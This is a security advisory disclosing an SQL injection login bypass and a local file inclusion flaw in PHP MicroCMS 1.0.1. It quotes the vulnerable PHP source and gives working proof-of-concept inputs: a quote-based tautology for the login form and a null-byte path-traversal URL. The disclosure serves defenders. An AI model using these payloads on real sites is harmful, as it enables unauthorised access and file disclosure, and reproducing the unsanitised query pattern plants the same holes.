Abysssec Research

1) Advisory information

Title	**: PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities**
Affected	**: PHP MicroCMS <= 1.0.1**
Discovery	**: www.abysssec.com**
Vendor	**: www.apphp.com/php-microcms/index.php**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- SQL Injection

2- Local File Inclusion

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database / server.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- Authentication bypass with SQL Injection in login page::

user_name and password parameters recived from the login form are passed to do_login function in login.php :

```
line 12-17:
        function Login() {
                $this->wrong_login = false;
                if (!$this->is_logged_in() && $_POST['submit'] == "Login" &&
!empty($_POST['user_name']) && !empty($_POST['password'])) $this-
>do_login($_POST['user_name'], $_POST['password']);
                else if ($_POST['submit_logout'] == "Logout") $this->do_logout();
                $this->accounts = new Profiles($GLOBALS['user_session']-
>get_session_variable("session_account_id"));
        }

in do_login function these parameters are passed to get_account_information function:
login.php line 19-29:

function do_login($user_name, $password, $do_redirect = true) {
                if ($account_information = $this->get_account_information($user_name, $password))
{
                                $this->set_session_variables($account_information);
                                if ($do_redirect) {
                                        header("Location: index.php\r\n\r\n");
                                        exit;
                                }
                }else{
                        $this->wrong_login = true;
                }
        }


then these parameters without any validation are applied in SQL query directly:
login.php line 48-55:
        function get_account_information($user_name, $password) {
                $sql = "SELECT ".DB_PREFIX."accounts.*, user_name AS account_name
                                                        FROM ".DB_PREFIX."accounts
                                                        WHERE
                                                                user_name = '" . $user_name .
"' AND                  // vulnerability here
                                                                password = AES_ENCRYPT('" .
$password . "', '" . DB_ENCRYPT_KEY . "')";       // vulnerability here
                return database_query($sql, DATA_ONLY, FIRST_ROW_ONLY);
        }
```

POC:

In login page enter:

```
username: a' or '1'='1
password: a' or '1'='1
```

2- Local File Inclusion:

```
index.php file line 21:
        $page = !empty($_GET['page']) ? $_GET['page'] : "home";

index.php file line 104,105:
                                        if (($page != "") && file_exists("page/" . $page . ".php")) {
                                                require("page/" . $page . ".php");
```

PoC:

```
http://localhost/microcms/index.php?page=../include/base.inc.php%00
```